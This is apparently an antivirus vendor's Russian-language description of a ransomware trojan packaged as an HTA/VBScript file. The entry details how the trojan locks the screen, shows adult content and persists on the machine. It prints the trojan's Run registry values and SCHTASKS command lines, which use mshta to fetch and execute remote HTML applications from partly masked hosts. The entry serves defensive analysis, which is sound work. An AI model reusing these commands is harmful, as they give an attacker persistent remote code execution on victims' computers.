Троянская программа, блокирующая нормальную работу компьютера с целью получить выкуп за восстановление исходного состояния системы.

Троянская программа, блокирующая нормальную работу компьютера с целью получить выкуп за восстановление исходного состояния системы. Является HTML-приложением (HTA), содержащим сценарий языка Visual Basic. Имеет размер 4923 байта.

Деструктивная активность

После запуска троянец выполняет следующие действия:

• каждые 10 секунд открывает в своем окне ссылку:

  http://sph1uea***exadult.com/pc/page/player_view.php?
  code=&cuid=a20f5f7b6034cb6bbbb2503c7357643f3f11b837
  

• Создает следующие ключи системного реестра:

  [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
  "start_a20f5f7b6034cb6bbbb2503c7357643f3f11b837_166" = 
  "%System%\mshta http://sph1uea***exadult.com/pc/page/
  player_view.php?code=&cuid=a20f5f7b6034cb6bbbb2503c
  7357643f3f11b837"
  "start_a20f5f7b6034cb6bbbb2503c7357643f3f11b837_167" 
  = "%System%\mshta http://seyp1g***exadult.com//pc/page
  /player_view.php?code=&cuid=a20f5f7b6034cb6bbbb2503c
  7357643f3f11b837"
  "start_a20f5f7b6034cb6bbbb2503c7357643f3f11b837_168" = 
  "%System%\mshta http://sea6ayp***isexadult.com/pc/page
  /player_view.php?code=&cuid=a20f5f7b6034cb6bbbb2503c
  7357643f3f11b837"
  

  Таким образом, при каждом следующем старте системы посредством системной утилиты "MSHTA.EXE" будут запускаться HTML-приложения, расположенные по адресам:

  http://sph1uea***exadult.com/pc/page/player_view.php?
  code=&cuid=a20f5f7b6034cb6bbbb2503c7357643f3f11b837
  http://seyp1g***exadult.com//pc/page/player_view.php?
  code=&cuid=a20f5f7b6034cb6bbbb2503c7357643f3f11b837
  http://sea6ayp***isexadult.com/pc/page/player_view.php?
  code=&cuid=a20f5f7b6034cb6bbbb2503c7357643f3f11b837
  

  На момент создания описания работала только первая ссылка. По ней загружалось приложение, отображающее в правом нижнем углу экрана окно следующего вида:
  
  

• Проверяет версию Windows, установленную на зараженном компьютере. Если она соответствует Windows Server 2003, Windows XP 64-bit Edition, Windows XP Professional x64 Edition, Windows Home Server, Windows Vista, Windows Server 2008, Windows 7, то троянец запускает следующие команды:

  SCHTASKS /Create /TN start_a20f5f7b6034cb6bbbb2503c7357643f3f11
  b837_166 /TR "%System%\mshta http://sph1uea***exadult.com/pc/page/player_view.php?
  code=&cuid=a20f5f7b6034cb6bbbb2503c7357643f3f11b837" 
  /SC MINUTE /MO 5 /F" 
  SCHTASKS /Create /TN start_a20f5f7b6034cb6bbbb2503
  c7357643f3f11b837_167 /
  TR "%System%\mshta http://seyp1g***exadult.com//pc/
  page/player_view.php?code=&cuid=a20f5f7b6034cb6bbbb25
  03c7357643f3f11b837" 
  /SC MINUTE /MO 5 /F"
  SCHTASKS /Create /TN start_a20f5f7b6034cb6bbbb2503c7357643f3f11b837_168 /TR 
  "%System%\mshta http://sea6ayp***isexadult.com/pc/page
  /player_view.php?code=&cuid=a20f5f7b6034cb6bbbb2503c7
  357643f3f11b837" /SC MINUTE /MO 5 /F"
  

  Таким образом, при помощи утилиты "SCHTASKS.EXE" в расписании создаются задания, согласно которым каждые 5 минут будут запускаться HTML-приложения, расположенные по вышеупомянутым ссылкам.

  В случае установленной Windows XP, будут запускаться команды:

  SCHTASKS /Create /RU system /TN start_a20f5f7b6034cb6bbbb2503c7357643f3f11b837
  _166/TR "%System%\mshta http://sph1uea***
  exadult.com/
  pc/page/player_view.php?code=&cuid=a20f5f7b6034cb6bbbb2503c7357643f3f1
  1b837" /SC MINUTE /MO 5"
  SCHTASKS /Create /RU system /TN start_a20f5f7b6034cb6bbbb2503c7357643f3f11b837
  _167 /TR "%System%\mshta http://seyp1g***
  exadult.com//pc/
  page/player_view.php?code=&cuid=a20f5f7
  b6034cb6bbbb2503c7357643f3f11b837" 
  /SC MINUTE /MO 5"
  SCHTASKS /Create /RU system /TN start_a20f5f7b6034cb6bbbb2503c7357643f3f11b837
  _168 /TR "%System%\mshta http://sea6ayp***
  isexadult.com/pc
  /page/player_view.php?code=&cuid=a20f5f7b6034cb
  6bbbb2503c735764
  3f3f11b837" 
  /SC MINUTE /MO 5"
  

• Запускает Windows Media Player (процесс "WMPLAYER.EXE") с параметром:

  http://bur***xadult.com/movie/sample_1.wmv

  На момент создания описания по данной ссылке загружался файл размером 993794 байта. Файл представляет собой видеоролик порнографического содержания.
• Открывает в новом окне ссылку:

  http://sph1uea***exadult.com/pc/page/allot.php?
  code=&cuid=a20f5f7b6034cb6bbbb2503c7357643f3
  f11b837&ckg=on&ln=/movie_list